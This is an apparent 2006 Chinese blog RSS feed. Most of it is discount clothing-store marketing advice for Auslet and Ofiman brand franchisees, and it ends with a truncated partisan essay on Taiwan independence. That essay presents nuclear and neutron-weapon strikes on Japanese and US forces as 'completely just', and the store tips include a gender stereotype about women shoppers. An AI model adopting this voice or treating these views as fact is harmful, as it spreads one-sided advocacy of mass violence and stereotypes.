color=#0000ff>公司名称:飞燕服饰股份有限公司<BR></FONT>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<FONT color=#800080>商标:见图片（2）<BR></FONT>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<FONT color=#800080>品牌说明:</FONT>飞燕品牌以时尚、品质、品位、环保的高档品牌服装为主，致力于打造简洁、自然、大方具有飞燕品牌特色的服装品牌。<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<FONT color=#ff1493>&nbsp;营销策略:</FONT>本公司遵循"以人为本，创新、进取；服务为源，真诚、务实；品质至上，优质、求精"的宗旨；推行"勇于追求、敢于否定、不断创新、持续改进"的企业理念；并以"追求卓越"作为自己的奋斗目标。<BR>开业宣传：印制优惠卷(小巧精致，电影票大小，一般可在背面印上部分特价服饰令人吃惊的价格及开业优惠措施)，定点派送。 <BR>　　店内宣传：店内设计模特精品区，新品推荐区，惊喜特价区等，样品展示丰富，突出品牌理念和特色，用音乐，灯光等方式创造和谐的消费氛围。 <BR>　　设立会员卡制度，建立客户档案：印制会员卡，客户消费一次后均发放会员卡，累积消费一定数额给予赠品或享受特价待遇，以培养稳定客户群。 <BR>　　在商业街道、广场、小区定期举行特卖活动，既扩大销量又起到宣传效果。 <BR>与礼品店、广告公司合作：开展单位客户营销，将奥斯莱特品牌折扣服饰作为广告公司的宣传品或礼品、赠品时尚又实用。 <BR>　　在开店之前，请全面了解折扣店的概念，认同度越高越容易成功。多花点时间了解，多比较几家公司的优劣。&nbsp; <BR>　　店铺内的服装必须全部整烫、摆放合理，好的陈列是服装的第二次设计。尤其注意：色彩、款式的搭配和协调。 <BR>　　每次挑货的眼光要放宽，愈简单愈好卖，一般20-30平方每个品种一手到二手。 <BR>　　良好的心态、合理的利润、优质的服务，会带给您天天好心情、天天好生意。 <BR>　　舍得花钱请有经验的营业员，据不完全统计她们比新手通常多产生20 - 30%的销售额。 <BR>　　关注货物的连续性和款式的更新速度，这样的生意才有生命力。 <BR>　　生意不好，先看自己哪里没有做好，衣服没有错的。其次和总部沟通，看看在哪里出现状况。 <BR>　　每天第一个客人进来，要想办法留住她，让她任意试穿，等下一个客人到来，这样店里一天都有人气。 <BR>　　试试看把上衣或者裙子按照进价卖，看看这样你明天会失去什么？ <BR>　　王婆卖瓜，再好的东西也需要花点小钱做宣传，看看街道墙壁上的“办证 13********* ”您就明白了。 <BR>　　一个店铺有漂亮的招牌和与之配套的衣架、裤架、授权牌、会员卡、塑料袋、易拉宝等，你是否觉得是个可以信任的店呢？ 总部为您准备齐了，该挂的一定要挂出来！ <BR>　　每次进货补点下个季度的好款式，也好应付短时之缺。总部难免也会缺点什么，自己提前打算吧！ <BR>　　不是自己穿就别相信自己的眼光，该拿的款式还是先拿吧，记住你是替顾客挑选，卖着看看顾客喜欢什么再说吧，三个月后你就知道该要哪些。 <BR>　　女人买衣服一定是买回去穿的吗？你相信吗？我不信。高兴要花钱，不高兴也要花钱，这就是女人。 <BR>　　衣服整理好后，记住给每件衣服找好搭档，让它们一起到新主人那里吧，别让它孤单哦！<BR>　　店内、店外灯光一定要亮，足够的灯光会让 80 元的衣服看上去价值 800 元！。<BR>　　店铺门口必须有巨幅广告宣传喷绘，店里卖什么让顾客一目了然。 <BR>　　每个节日都是店庆日，与民同乐。吃点亏吧，全场买任一产品都送精美礼品一份。记住： 奥斯莱特，喜欢你经常来哦。 " <BR>　　留下客户的手机号码吧，每次到新货就给她发个短消息，不会烦你的，当然，记得别打电话给她，要花钱的。<BR>　　成功因素很多，没有“克隆的成功”，店址、货物、招牌、敬业程度，总部起点、管理、策应能力，方方面面，您权衡好了吗？多走走，多比较，细心琢磨您最为关心的问题。 <BR>　　没有人流的店，是开给自己看的，宁可选择在集镇、菜场，人流很重要。 <BR>展示的衣物要整烫、讲究陈列、色彩组合、款式搭配，这可是服装的二次设计。 <BR>心态要平和，利润要合理，服务要尽美，顾客心情好，您的心情当然好，一不小心，生意真的挤破门。 <BR>　　不用高薪聘请营业员，是您的错，请到了，不比新手每天多卖个30%的货，是她的错。 <BR>　　注意货物的库存量，款式的更新，这样的生意才能年复一年。 <BR>　　生意不好时，发牢骚也没用，如果别人的生意好，肯定您有错，反正衣服没有错，快与总部培训师、督导师聊聊吧，话一投机，顺心顺意。 <BR><img src ="http://www.blogjava.net/songfei/aggbug/32198.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/songfei/" target="_blank">天外飞仙</a> 2006-02-23 20:49 <a href="http://www.blogjava.net/songfei/articles/32198.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>奥斯莱特品/营销秘籍</title><link>http://www.blogjava.net/songfei/articles/31855.html</link><dc:creator>天外飞仙</dc:creator><author>天外飞仙</author><pubDate>Tue, 21 Feb 2006 11:52:00 GMT</pubDate><guid>http://www.blogjava.net/songfei/articles/31855.html</guid><wfw:comment>http://www.blogjava.net/songfei/comments/31855.html</wfw:comment><comments>http://www.blogjava.net/songfei/articles/31855.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/songfei/comments/commentRss/31855.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/songfei/services/trackbacks/31855.html</trackback:ping><description><![CDATA[奥斯莱特品牌以设计、生产、销售时尚、环保、休闲的高档品牌服装为主，致力于打造简洁、自然、大方具有奥斯莱特特色的服装品牌。<BR>　　公司成立以来，一直遵循"以人为本，创新、进取；服务为源，真诚、务实；品质至上，优质、求精"的宗旨；推行"勇于追求、敢于否定、不断创新、持续改进"的企业理念；并以"追求卓越"作为自己的奋斗目标；采用"赛马不相马"的人才机制；推行"企业文化先行"的市场战略；从此企业整合一新，<IMG height=224 src="http://www.auslet.com/images/qywh02.jpg" width=325 align=left>从而在竞争日益激烈的服装市场上一直保持领先地位。<BR>奥斯莱特公司注重"以人为本"，提倡"团队精神"。公司有企划部制定企业的发展路线，策划企业的文化发展战略，全面负责整个企业文化的到位及广告宣传；服装设计部由资深设计师组成，他们有着丰富的服装设计经验和独特的设计理念；同时奥斯莱特公司更有一批具有强烈责任感和敬业精神的质检和跟单人员，对生产进行严格的跟踪控制；更具特色的是奥斯莱特的强大市场开发队伍和终端售后服务队伍，客服人员每天为近一百家专卖店及专柜提供高效优质的跟踪服务；遍布全国的专卖店和专柜有一批年轻、活力、具有一丝不苟服务精神的营业团队，每天以亲切、自信、甜美的笑容迎接着奥斯莱特的每一位顾客。<BR>　　奥斯莱特人将一如既往地以自信、激情、微笑迎接新一天的挑战。<BR><BR>你还要了解一些开店的理念。您真的了解折扣店的理念吗？不认同就别勉强自己，总部只许您的成功，不许您的失败哟! <BR>　　开业宣传：印制优惠卷(小巧精致，电影票大小，一般可在背面印上部分特价服饰令人吃惊的价格及开业优惠措施)，定点派送。 <BR>　　店内宣传：店内设计模特精品区，新品推荐区，惊喜特价区等，样品展示丰富，突出品牌理念和特色，用音乐，灯光等方式创造和谐的消费氛围。 <BR>　　设立会员卡制度，建立客户档案：印制会员卡，客户消费一次后均发放会员卡，累积消费一定数额给予赠品或享受特价待遇，以培养稳定客户群。 <BR>　　与相关行业内经营者合作，多渠道分销：奥斯莱特品牌折扣服饰以价位优势和质量优势成为服饰经营业内的稀缺资源，而其某些时尚、独特产品在市场上具有唯一性，一般可建立相对固定的合作分销网络，扩大销量。 <BR>　　在商业街道、广场、小区定期举行特卖活动，既扩大销量又起到宣传效果。 <BR>与礼品店、广告公司合作：开展单位客户营销，将奥斯莱特品牌折扣服饰作为广告公司的宣传品或礼品、赠品时尚又实用。 <BR>　　在开店之前，请全面了解折扣店的概念，认同度越高越容易成功。多花点时间了解，多比较几家公司的优劣。 <BR>　　投入可以少些，店可以小些，装修材料可以次一些（风格可不能次），但店面位置一定处于市场人流多的地方，哪怕是在菜场对面。 <BR>　　店铺内的服装必须全部整烫、摆放合理，好的陈列是服装的第二次设计。尤其注意：色彩、款式的搭配和协调。 <BR>　　每次挑货的眼光要放宽，愈简单愈好卖，一般20-30平方每个品种一手到二手。 <BR>　　价格按照100 - 150%毛利来定，如进20卖40元，建议不要高于此价格，别忘了我国是世界人口大国。 <BR>　　会员卡至少要按照 9折让利，常客的一片忠心应该有所回报。 <BR>　　良好的心态、合理的利润、优质的服务，会带给您天天好心情、天天好生意。 <BR>　　舍得花钱请有经验的营业员，据不完全统计她们比新手通常多产生20 - 30%的销售额。 <BR>　　关注货物的连续性和款式的更新速度，这样的生意才有生命力。 <BR>　　生意不好，先看自己哪里没有做好，衣服没有错的。其次和总部沟通，看看在哪里出现状况。 <BR>　　每天第一个客人进来，要想办法留住她，让她任意试穿，等下一个客人到来，这样店里一天都有人气。 <BR>　　试试看把上衣或者裙子按照进价卖，看看这样你明天会失去什么？ <BR>　　王婆卖瓜，再好的东西也需要花点小钱做宣传，看看街道墙壁上的“办证 13********* ”您就明白了。 <BR>　　一个店铺有漂亮的招牌和与之配套的衣架、裤架、授权牌、会员卡、塑料袋、易拉宝等，你是否觉得是个可以信任的店呢？ 总部为您准备齐了，该挂的一定要挂出来！ <BR>　　每次进货补点下个季度的好款式，也好应付短时之缺。总部难免也会缺点什么，自己提前打算吧！ <BR>　　不是自己穿就别相信自己的眼光，该拿的款式还是先拿吧，记住你是替顾客挑选，卖着看看顾客喜欢什么再说吧，三个月后你就知道该要哪些。 <BR>　　女人买衣服一定是买回去穿的吗？你相信吗？我不信。高兴要花钱，不高兴也要花钱，这就是女人。 <BR>　　衣服整理好后，记住给每件衣服找好搭档，让它们一起到新主人那里吧，别让它孤单哦！<BR><IMG height=318 src="http://www.auslet.com/images/yxmj02.jpg" width=230 align=left>　　店内、店外灯光一定要亮，足够的灯光会让 80 元的衣服看上去价值 800 元！。<BR>　　店铺门口必须有巨幅广告宣传喷绘，店里卖什么让顾客一目了然。 <BR>　　每个节日都是店庆日，与民同乐。吃点亏吧，全场买任一产品都送精美礼品一份。记住： 奥斯莱特，喜欢你经常来哦。 " <BR>　　留下客户的手机号码吧，每次到新货就给她发个短消息，不会烦你的，当然，记得别打电话给她，要花钱的。<BR>　　成功因素很多，没有“克隆的成功”，店址、货物、招牌、敬业程度，总部起点、管理、策应能力，方方面面，您权衡好了吗？多走走，多比较，细心琢磨您最为关心的问题。 <BR>　　没有人流的店，是开给自己看的，宁可选择在集镇、菜场，人流很重要。 <BR>展示的衣物要整烫、讲究陈列、色彩组合、款式搭配，这可是服装的二次设计。 <BR>心态要平和，利润要合理，服务要尽美，顾客心情好，您的心情当然好，一不小心，生意真的挤破门。 <BR>　　不用高薪聘请营业员，是您的错，请到了，不比新手每天多卖个30%的货，是她的错。 <BR>　　注意货物的库存量，款式的更新，这样的生意才能年复一年。 <BR>　　生意不好时，发牢骚也没用，如果别人的生意好，肯定您有错，反正衣服没有错，快与总部培训师、督导师聊聊吧，话一投机，顺心顺意。 <BR>　　不信试试，举办“按进货价格限时抢购”活动后，明天的生意一下子好多啦。 <BR>　　如今的生意，好酒也怕巷子深，花点小钱，做点宣传，又何妨？广告费是赚得回的；“火柴盒”分类广告，户外张贴广告，电视字幕广告，手机短信广告，请“老记”报道“折扣新业态”擦边球软广告，都不错的，您试过了吗？ <BR>　　给您的授权牌、授权书、POP吊旗、易拉宝、购物袋、专用衣架、贵宾卡，该挂的一定要挂，要不，顾客会说：这个店凭什么值得信赖？和隔壁的有多少区别？视觉形象规范了吗？到位了吗？ <BR>　　绝对心动的价格，最能令少男少女欲罢不能，看在他们是学生的份上，再打个折吧，不过得让他们做回活广告。 <BR>　　应季应节的促销，不就是送个礼品或一件廉价的配饰嘛，与市民同乐吧，最终吃亏的不会是你。<BR>　　只会卖单件衣服的营业员，不算优秀，为啥不事先给它找个“新娘”一起嫁出去……顾客并没有不接受呀，也没有错啊。 <BR>　　火爆时，您已忙累了，当心羡慕已久的人准备一文不花“买”走，注意安全和防范措施！ <BR><BR><BR>
<TABLE cellSpacing=0 cellPadding=5 width="95%" align=center border=0>
<TBODY>
<TR>
<TD class=text01 height=35>
<DIV align=center><B>战略战术</B></DIV></TD></TR>
<TR>
<TD bgColor=#cccccc height=1></TD></TR>
<TR>
<TD class=text02 vAlign=top height=40>
<DIV align=center>&nbsp;</DIV></TD></TR>
<TR>
<TD>
<P><FONT color=#59ad29>★</FONT> <A class=s1 href="http://www.auslet.com/zlzs/zlzs_01.asp" target=_blank><FONT size=3><B>销售业绩来源于市场定位</B></FONT></A></P>
<P><FONT color=#59ad29>★</FONT> <A class=s1 href="http://www.auslet.com/zlzs/zlzs_02.asp" target=_blank><FONT size=3><B>有正确的营销思路才有销路</B></FONT></A></P>
<P><FONT color=#59ad29>★</FONT> <A class=s1 href="http://www.auslet.com/zlzs/zlzs_03.asp" target=_blank><FONT size=3><B>国内服装业的营销应更充分 1</B></FONT></A></P>
<P><FONT color=#59ad29>★</FONT> <A class=s1 href="http://www.auslet.com/zlzs/zlzs_04.asp" target=_blank><FONT size=3><B>国内服装业的营销应更充分 2</B></FONT></A></P>
<P><FONT color=#59ad29>★</FONT> <A class=s1 href="http://www.auslet.com/zlzs/zlzs_05.asp" target=_blank><FONT size=3><B>库存服装的"非常销售"</B></FONT></A></P>
<P><FONT color=#59ad29>★</FONT> <A class=s1 href="http://www.auslet.com/zlzs/zlzs_06.asp" target=_blank><FONT size=3><B>辩证的看待服装营销</B></FONT></A></P>
<P><FONT color=#59ad29>★</FONT> <A class=s1 href="http://www.auslet.com/zlzs/zlzs_07.asp" target=_blank><FONT size=3><B>定位营销－－要么准确，要么获得意外 1</B></FONT></A></P>
<P><FONT color=#59ad29>★</FONT> <A class=s1 href="http://www.auslet.com/zlzs/zlzs_08.asp" target=_blank><FONT size=3><B>定位营销－－要么准确，要么获得意外 2</B></FONT></A></P>
<P><FONT color=#59ad29>★</FONT> <A class=s1 href="http://www.auslet.com/zlzs/zlzs_09.asp" target=_blank><FONT size=3><B>实例对我们的启示</B></FONT></A></P>
<P><FONT color=#59ad29>★</FONT> <A class=s1 href="http://www.auslet.com/zlzs/zlzs_10.asp" target=_blank><FONT size=3><B>从品牌内隐特质与功能谈品牌营销观念的转变 1</B></FONT></A></P>
<P><FONT color=#59ad29>★</FONT> <A class=s1 href="http://www.auslet.com/zlzs/zlzs_11.asp" target=_blank><FONT size=3><B>从品牌内隐特质与功能谈品牌营销观念的转变 2</B></FONT></A></P>
<P><FONT color=#59ad29>★</FONT> <A class=s1 href="http://www.auslet.com/zlzs/zlzs_12.asp" target=_blank><FONT size=3><B>经服装市场看品牌营销理念</B></FONT></A></P>
<P><FONT color=#59ad29>★</FONT> <A class=s1 href="http://www.auslet.com/zlzs/zlzs_13.asp" target=_blank><FONT size=3><B>品牌虚拟经营本土化生产软着陆？</B></FONT></A></P>
<P><FONT color=#59ad29>★</FONT> <A class=s1 href="http://www.auslet.com/zlzs/zlzs_14.asp" target=_blank><FONT size=3><B>服装业进入"时尚经营时代"</B></FONT></A></P>
<P><FONT color=#59ad29>★</FONT> <A class=s1 href="http://www.auslet.com/zlzs/zlzs_15.asp" target=_blank><FONT size=3><B>运用精细顾客管理实现个性营销</B></FONT></A></P>
<P><FONT color=#59ad29>★</FONT> <A class=s1 href="http://www.auslet.com/zlzs/zlzs_16.asp" target=_blank><FONT size=3><B>实现个性营销</B></FONT></A></P>
<P><FONT color=#59ad29>★</FONT> <A class=s1 href="http://www.auslet.com/zlzs/zlzs_17.asp" target=_blank><FONT size=3><B>男人、女人与品牌</B></FONT></A></P>
<P><FONT color=#59ad29>★</FONT> <A class=s1 href="http://www.auslet.com/zlzs/zlzs_18.asp" target=_blank><FONT size=3><B>洞悉需求，制定科学营销策略的关键</B></FONT></A></P>
<P><FONT color=#59ad29>★</FONT> <A class=s1 href="http://www.auslet.com/zlzs/zlzs_19.asp" target=_blank><FONT size=3><B>销售秘诀：服装店如何在销售淡季提升业绩</B></FONT></A><BR><BR><BR>
<TABLE borderColor=#818181 cellSpacing=2 cellPadding=0 width=500 align=center border=1>
<TBODY>
<TR>
<TD vAlign=bottom borderColor=#000000 width="100%" height=20><SPAN class=style14><FONT color=#000000><STRONG>深圳市诺瑞实业发展有限公司</STRONG>是奥菲曼（香港）国际服饰有限公司在大陆唯一的合作</FONT></SPAN></TD></TR>
<TR>
<TD vAlign=bottom borderColor=#000000 height=20><SPAN class=style14><FONT color=#000000>公司。公司于一九九九年自主开发，拥有具独立知识产权的<IMG height=10 src="http://www.ofiman.com.cn/okimages/ofimanxiao.gif" width=59>女装品牌，是一家凭</FONT></SPAN></TD></TR>
<TR>
<TD vAlign=bottom borderColor=#000000 height=20><SPAN class=style14><FONT color=#000000>借雄厚的技术研发实力来设计，严格遵守ISO9000国际质量管理标准，采用先进的生产工艺和</FONT></SPAN></TD></TR>
<TR>
<TD vAlign=bottom borderColor=#000000 height=20><SPAN class=style14><FONT color=#000000>设备生产，销售网络完善、灵活的实业公司。</FONT></SPAN></TD></TR>
<TR>
<TD vAlign=bottom borderColor=#000000 height=20><SPAN class=style14><FONT color=#000000>&nbsp;&nbsp;&nbsp;&nbsp;<IMG height=10 src="http://www.ofiman.com.cn/okimages/ofimanxiao.gif" width=59>品牌着眼于国际最新潮流，以消费者的需求为根本，以功能性和舒适性为出</FONT></SPAN></TD></TR>
<TR>
<TD vAlign=bottom borderColor=#000000 height=20><SPAN class=style14><FONT color=#000000>发点。产品设计上追求“经典、实用、高雅”，所选日本、南韩、台湾等地面、辅料，质地</FONT></SPAN></TD></TR>
<TR>
<TD vAlign=bottom borderColor=#000000 height=20><SPAN class=style14><FONT color=#000000>高档、外观雅致。</FONT></SPAN></TD></TR></TBODY></TABLE><BR>
<TABLE borderColor=#818181 cellSpacing=2 cellPadding=0 width=500 align=center border=1>
<TBODY>
<TR>
<TD vAlign=bottom borderColor=#000000 height=20><SPAN class=style14><FONT color=#000000><IMG height=10 src="http://www.ofiman.com.cn/okimages/ofimanxiao.gif" width=59>具有年轻、时尚的现代风格，同时又不失稳重与成熟，融合了休闲与职业于</FONT></SPAN></TD></TR>
<TR>
<TD vAlign=bottom borderColor=#000000 height=20><SPAN class=style14><FONT color=#000000>一体。经过几年的发展，<IMG height=10 src="http://www.ofiman.com.cn/okimages/ofimanxiao.gif" width=59>先后在大陆二十多个省、直辖市开设了100多家专柜/专</FONT></SPAN></TD></TR>
<TR>
<TD vAlign=bottom borderColor=#000000 height=20><SPAN class=style14><FONT color=#000000>卖店。销售业绩每年以递增50%的速度增长，<IMG height=10 src="http://www.ofiman.com.cn/okimages/ofimanxiao.gif" width=59>产品深受广大消费者的信赖和厚爱，</FONT></SPAN></TD></TR>
<TR>
<TD vAlign=bottom borderColor=#000000 height=20><SPAN class=style14><FONT color=#000000>连续荣获深圳茂业百货2003年度、2004年度“最畅销品牌奖” ； 荣获第三届中国 （ 深</FONT></SPAN></TD></TR>
<TR>
<TD vAlign=bottom borderColor=#000000 height=20><SPAN class=style14><FONT color=#000000>圳 ）国际品牌服饰交易会“十佳时尚服装奖”、“消费者信得过商品”、“国家质量检验合</FONT></SPAN></TD></TR>
<TR>
<TD vAlign=bottom borderColor=#000000 height=20><SPAN class=style14><FONT color=#000000>格产品证书”等荣誉奖项。</FONT></SPAN></TD></TR></TBODY></TABLE><BR>
<TABLE borderColor=#818181 cellSpacing=2 cellPadding=0 width=500 align=center border=1>
<TBODY>
<TR>
<TD vAlign=bottom borderColor=#000000 height=20><SPAN class=style14><FONT color=#000000>&nbsp;<IMG height=10 src="http://www.ofiman.com.cn/okimages/ofimanxiao.gif" width=59>本着团队、诚信、务实的经营理念，不断开拓创新，演绎着 <IMG height=10 src="http://www.ofiman.com.cn/okimages/ofimanxiao.gif" width=59>经典</FONT></SPAN></TD></TR>
<TR>
<TD vAlign=bottom borderColor=#000000 height=20><SPAN class=style14><FONT color=#000000>的服饰文化。</FONT></SPAN></TD></TR>
<TR>
<TD vAlign=bottom borderColor=#000000 height=20><SPAN class=style14><FONT color=#000000>&nbsp;&nbsp;&nbsp;&nbsp;<IMG height=10 src="http://www.ofiman.com.cn/okimages/ofimanxiao.gif" width=59>使您更加青春时尚，亮丽动人。</FONT></SPAN></TD></TR>
<TR>
<TD vAlign=bottom borderColor=#000000 height=20><SPAN class=style14><FONT color=#000000>&nbsp;&nbsp;&nbsp;&nbsp;<IMG height=10 src="http://www.ofiman.com.cn/okimages/ofimanxiao.gif" width=59>为您的生活创造出更加灿烂美好的明天。</FONT></SPAN></TD></TR></TBODY></TABLE><BR>
<TABLE cellSpacing=0 cellPadding=2 width=310 align=center border=0>
<TBODY>
<TR>
<TD colSpan=2><SPAN class=style12><FONT color=#000000>年龄定位</FONT></SPAN></TD>
<TD width=22><SPAN class=style12><FONT color=#000000></FONT></SPAN></TD></TR>
<TR>
<TD width=14><SPAN class=style12><FONT color=#000000></FONT></SPAN></TD>
<TD width=253><SPAN class=style12><FONT color=#000000>25-35岁的都市时尚女性。</FONT></SPAN></TD>
<TD><SPAN class=style12><FONT color=#000000></FONT></SPAN></TD></TR>
<TR>
<TD colSpan=2><SPAN class=style12><FONT color=#000000>2、风格描述</FONT></SPAN></TD>
<TD><SPAN class=style12><FONT color=#000000></FONT></SPAN></TD></TR>
<TR>
<TD><SPAN class=style12><FONT color=#000000></FONT></SPAN></TD>
<TD colSpan=2><SPAN class=style12><FONT color=#000000>追求简洁流畅的造型，款式大方，注重细节品质，紧随时尚潮流，以个性鲜明的手法，刻画出优雅与浪漫并存、休闲与庄重并进的都市女性形象。</FONT></SPAN></TD></TR>
<TR>
<TD colSpan=2><SPAN class=style12><FONT color=#000000>3、产品构成、价位</FONT></SPAN></TD>
<TD><SPAN class=style12><FONT color=#000000></FONT></SPAN></TD></TR>
<TR>
<TD><SPAN class=style12><FONT color=#000000></FONT></SPAN></TD>
<TD colSpan=2><SPAN class=style12><FONT color=#000000>春夏季总款数：100-150，每款2-3个颜色；针织比例：40％；梭织比例：60％；价位：250-480元/件；</FONT></SPAN></TD></TR>
<TR>
<TD><SPAN class=style12><FONT color=#000000></FONT></SPAN></TD>
<TD colSpan=2><SPAN class=style12><FONT color=#000000>秋冬季总款数：150-200，每款2-3个颜色；针织比例：30％；梭织比例：70％；价位：260-1580元/件。</FONT></SPAN></TD></TR>
<TR>
<TD colSpan=2><SPAN class=style12><FONT color=#000000>4、产品类别</FONT></SPAN></TD>
<TD><SPAN class=style12><FONT color=#000000></FONT></SPAN></TD></TR>
<TR>
<TD><SPAN class=style12><FONT color=#000000></FONT></SPAN></TD>
<TD colSpan=2><SPAN class=style12><FONT color=#000000>针织衫、裤、裙、毛衫、外套、风衣、棉服、大衣。</FONT></SPAN></TD></TR></TBODY></TABLE></P></TD></TR></TBODY></TABLE><img src ="http://www.blogjava.net/songfei/aggbug/31855.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/songfei/" target="_blank">天外飞仙</a> 2006-02-21 19:52 <a href="http://www.blogjava.net/songfei/articles/31855.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>台独全分析</title><link>http://www.blogjava.net/songfei/articles/31481.html</link><dc:creator>天外飞仙</dc:creator><author>天外飞仙</author><pubDate>Sun, 19 Feb 2006 08:35:00 GMT</pubDate><guid>http://www.blogjava.net/songfei/articles/31481.html</guid><wfw:comment>http://www.blogjava.net/songfei/comments/31481.html</wfw:comment><comments>http://www.blogjava.net/songfei/articles/31481.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/songfei/comments/commentRss/31481.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/songfei/services/trackbacks/31481.html</trackback:ping><description><![CDATA[大年初一陈水扁发表讲话、违背自己“四不一没有”承诺、宣布了思考废除“国统会”及“国统纲领”适当时机、以“台湾”为名称重新申请加入联合国、年内将台湾“新宪法”定稿，明年举办“新宪公投”的“急独主张”。陈水扁及台独势力准备实施“急独”，看来是王八吃秤砣－－铁了心了。但是，螳臂当车、蚍蜉撼树，陈水扁及台独、急独势力不自量力。其政治冒险有下列必败因素－－－－<BR><BR>　　第一、“急独”势力是军事上的纸老虎－－台湾军队不会轻易跟随“急独”势力冒险，“急独”无岛内的军事保障<BR><BR>　　经过陈水扁掌控下的六年人士变动，台湾军队的高层人士是换班不少了。但是，要台湾军队跟随急独势力投入战争，将有下列问题：1、台湾军队六十年，都是按国民党一个中国的理念建军，如果投入台独战争，必有思想上的混乱、军心上的分裂。相比之下，大陆军队的军心，在统一问题上，完全是一致的、众志成城的，这是每个大陆人都知道的公开秘密。2、自从2005年度开始，台湾海空军对于大陆的质量优势、以及军队对于对岸的“军备优越感”，已不存在。2005年开始大陆海空军的战力，不论三代机的数量、还是先进舰艇的数量，都已经超越台军。并且，大陆具备了诸多不对称优势，包括地地导弹的优势、空舰、舰舰导弹的优势、潜艇群的优势、太空优势、战机质量和性能优势、战时军工生产能力的优势、电磁脉冲炸弹等多种特种武器的优势，等等。太多，不胜枚举。何况，台湾军队地处富裕地区、少爷兵太多，“特权兵”与“普通兵”之间差别大，畏战怯战情绪多。像陈水扁儿子陈致中那样的“太子兵”、“特权兵”，火炮一响，是否早就不知所向。3、台湾富裕地区的市民承受力弱，一旦供电、供水、排水不畅，台湾中产阶级们能否承受股市暴跌、住所内卫生间几十天无水可排、停电数十天黑灯瞎火等等状况的生活，根本就是问题。由此看，“急独势力”本身就是纸老虎。军事解决台独问题只是时间问题。<BR><BR>　　第二、美日军力是纸老虎－－美国没有可能为台独势力的利益而伤亡百万人，美国眼前尚未从中东脱身、没有做好与中国大规模开战和死伤的准备<BR><BR>　　原因在于：1、美国目前陷身于伊拉克，在中东更被伊朗核问题所牵制。美国目前在伊核问题上，战也不是，不战也不是。如果对伊朗开战，则将更多程度上“陷身”中东、无暇东顾；如果不战，则坐视伊朗核能力发展壮大，将来可能成为中东的无法消化的核国家。美国没有能力管世界上所有的事。<BR><BR>　　2、美国不会为台独势力的利益而贸然违背与中国的外交公报，美国干涉台海就是侵略中国，美国如果与中国开战、则是非正义的。道义上是失败的。<BR><BR>　　3、美国不会为台独势力的利益而与中国开战、造成“全球经济动荡、美国通货膨胀、中美互投核弹、美军美国人死伤上万乃至数百万”的、它自己的惨剧。美国人是精明商人，还没有傻到为了台独势力的利益而伤亡数百万人的那个程度。<BR><BR>　　4、美国即使击败中国，也是“惨胜”，美国总统也会下台。<BR><BR>　　5、中国只要动真格的减持美元国债、增持黄金储备、石油储备等，只要动真格采取此类动作，美国就会紧张。未来美元国债肯定需要减持、在黄金大涨、石油大涨的背景下，黄金储备和石油储备都必然要增加。这是不可避免的。<BR><BR>　　综合上述，在陈水扁春节讲话之后，美国已经公开表态，重申其两岸政策，即美国持一个中国政策，美国不支持台湾“独立”，美国反对两岸任何一方采取会改变现状的单方面行动。美国这一表态，根本上是没有做好与中国战争准备的表现、也是没有发动与中国战争的承受力的表现。战时，美国较大可能的是偷袭、利用大规模的远程偷袭打掉中国的渡海战力、即可保台独成功。但是不容易，并且要承受惨重代价。<BR><BR>　　第三、美日军力是纸老虎－－日本右翼势力即使准备军事干涉台海事务也没有做好投入核战的准备、以及付出惨重代价的准备<BR><BR>　　日本右翼正准备把“台海有事＝日本本土有事”的修改条例、列入《周边事态法》。其染指台海事务的司马昭之心，路人皆知。可惜得很，日本“有心无力”，是一个战略上的侏儒。日本在台海问题上“有心无力”的根本原因在于：1、日本的舰队，只要敢于干涉台海事务，则既然是干涉中国内务、侵略中国，则中国对于侵略者，可以以中子弹、“每一颗中子弹消灭一个日本舰队”。2、日本右翼倚仗的《美日军事同盟》，在核武器面前，不过是废纸一张。美国不会因为日本而同中国展开核战。3、不要说日本没有核武器，即使有，日本没有与中国展开核战争的“战略纵深”，中日核战争的结局，只会是：“日本灭了中国东部、中国灭了日本全部”。日本右翼虽然疯狂，不会疯狂到为了台独势力、而品尝中国核武器的地步。日本的战略纵深非常有限、即使有了核武也是二流军事强国；目前没有核武只是三流军事强国。谁让日本的地理位置天生“生得不好”。战略上可以藐视之。战术上固然重视之。4、日本战机主要是F15J大多是90年代初的版本，并没有全部做好现代化的改装。日本要匆忙投入战争，也有常规军备上的困难。并没有完全准备好。因此，虽然日本可以给中国造成压力，但是，多是战术上的、偷袭性质的、后勤性质的、要付出重大风险和代价的。笔者叶剑证券分析师兼军迷认为：对于中国而言，只要有“以一切手段捍卫国家统一”的决心和国家意志、乃至法律意志，则不论美国还是日本，都不敢为了台独势力而投入核战争。而中国为了捍卫国家统一而对侵略者使用核武器、中子武器，等等，完全是正义的、无可非议的。<BR><BR>　　综合上述，问题不在于美日是否敢于军事干涉台海事务，而在于中国有无做好让侵略国付出惨重代价的能力和决心。显然是有的。在大规模伤亡等代价面前，美日的军事干涉意愿，都是“纸老虎”。<BR><BR>　　第四、“急独”将受到台湾民众和泛蓝势力的至少8大牵制，如何破解“新宪公投”是06年起的最大课题<BR><BR>　　陈水扁撕破“四不一没有”的面纱（也就是：不会宣布独立，不会更改“国号”，不会推动“两国论入宪”，不会推动改变现状的“统独公投”，以及没有废除“国统纲领”或“国统会”的问题），开始急独，是开始了决定其政治生命的“生死搏斗”。是为了走出05年12月份“三合一选举”中的失败。对于泛绿，固然是生死搏杀；对于泛蓝，自然也是存亡的问题。陈水扁新春的三项要求，都是台独，一项是非实质的、两项是实质的。非实质的是：关于思考废除“国统会”及“国统纲领”适当时机、只是一个形式问题，原因在于陈水扁政府的“国统会”的年费用编制，本来只有1000新台币，大约相当于250元人民币；其实只是形式上没有废除。但是这个形式也很重要，是一个标志。即使是形式上废除，也是一个标志，对于台独是一个“突破”。陈水扁想看看“大陆又有什么办法对我”。<BR><BR>　　